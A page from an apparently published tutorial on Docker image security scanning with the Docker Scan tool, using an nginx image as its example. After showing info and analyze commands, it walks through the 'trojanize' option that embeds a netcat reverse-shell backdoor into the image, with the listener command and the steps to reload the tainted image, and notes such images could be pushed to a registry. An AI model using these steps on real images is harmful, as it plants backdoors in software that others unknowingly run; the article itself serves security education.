« Previous 1 2 3 4 Next »
Docker image security analysis
Pedigree
Personal Brand
Note that in this next section I'm going to walk you part way through the YouTube video [9] that the authors of Docker Scan offer as a reference. There isn't space to fit in all the details that I'd like to include in this article, so if you prefer, you can view the video directly, which is a visual recording of two terminals.
The first step pulls down a public image (from the Docker Hub registry in this case) and saves the container image to your filesystem. I'll also use the popular web server, Nginx, as an example, which is mentioned in the video, too. To begin, I pull down the latest version and save it to disk:
$ docker pull nginx $ docker save nginx -o nginx-image
Here, I'm simply downloading the nginx
image with the "latest" tag and then saving the image (-o
) to the filename nginx-image
.
Next, I run a dockerscan image info
command. Listing 1 shows the tool's output. If you think back to the Dockerfile, you're seeing some of the basic layering information, which is useful for checking that you're working on the correct image.
Listing 1
Docker Scan info
$ dockerscan image info nginx-image [ * ] Starting analyzing docker image... [ * ] Selected image: 'nginx' [ * ] Analysis finished. Results: [ * ] - Created date = 2019-02-06T08:11:09.870777091Z [ * ] - Docker version = 18.06.1-ce [ * ] - Cmd = nginx -g daemon off; [ * ] - Labels: [ * ] > maintainer [ * ] - Environment: [ * ] > PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [ * ] > NGINX_VERSION=1.15.8-1~stretch [ * ] > NJS_VERSION=1.15.8.0.2.7-1~stretch [ * ] - Exposed ports: [ * ] > 80: [ * ] + tcp
You're Attacking Me?
A more sophisticated feature of Docker Scan is the analyze
option, which inspects the image for any obvious security issues:
$ dockerscan image analyze nginx-image [ * ] Starting the analysis of docker image... [ * ] Selected image: 'nginx' [ * ] Analysis finished. Results: [ * ] - Running user = root
As you can see from the output, running the image as root has been flagged as an issue. Users inside containers should be less privileged, to limit their attack surface. If you're interested in improving your container and host security, I wrote about hardening Docker and using Docker namespaces [10] a couple of years ago. However, things move quickly in this field, so you should potentially check for newer documentation to supplement that information.
Helen of Troy
The image modify
submenu
$ dockerscan image modify -h
offers the trojanize
option to modify and then inject a nasty way of getting access to that container at a later stage. The premise is that this method is much easier than manually making alterations to Dockerfiles, although you easily can automate both types of changes in scripts; if an image registry is overly trustworthy, then once your image is uploaded, other people will unwittingly download your image without knowledge of it being tainted.
To embed a shell backdoor into your Docker image, you can use the unquestionably superb netcat tool [11]. The relatively simple command
$ dockerscan image modify trojanize nginx-image -l XXX.XXX.XXX.XXX -p 2222 -o nginx-trojan
saves a new container image to the filesystem called nginx-trojan
, which you can upload later to a registry.
To protect the innocent, I've obfuscated the IP address, so replace XXX.XXX.XXX.XXX
with the IP address on which you want netcat to listen in. Listing 2 is the output from the dockerscan
command. Netcat is now listening from within your container as a backdoor. To make use of your new image, just check your filesystem, and you should see the file nginx-trojan.tar
.
Listing 2
trojanize Output
[ * ] Starting analyzing docker image... [ * ] Selected image: 'nginx' [ * ] Image trojanized successful [ * ] Trojanized image location: [ * ] > /root/nginx-trojan.tar [ * ] To receive the reverse shell, only write: [ * ] > nc -v -k -l XXX.XXX.XXX.XXX 2222
Now run the load
command shown in Listing 3 to import your saved tarball file back into Docker. The -i
switch allows an input string. As you can see from the output, Docker tidied up after itself by renaming the old image.
Listing 3
Import Trojan Image
$ docker load -i nginx-trojan.tar 53bbd7a916c6: Loading layer [==================================================>] 20.48kB/20.48kB The image nginx:latest already exists, renaming the old one with ID sha256: f09fe80eb0e75e97b04b9dfb065ac3fda37a8fac0161f42fca1e6fe4d0977c80 to empty string Loaded image: nginx:latest
With the docker images
command, you can see exactly what it has done. The new image containing the trojan now has the hashed ID 35640fed495c
(Listing 4).
Listing 4
docker images
$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx <none> f09fe80eb0e7 12 days ago 109MB nginx latest 35640fed495c 12 days ago 109MB
« Previous 1 2 3 4 Next »
Buy this article as PDF
(incl. VAT)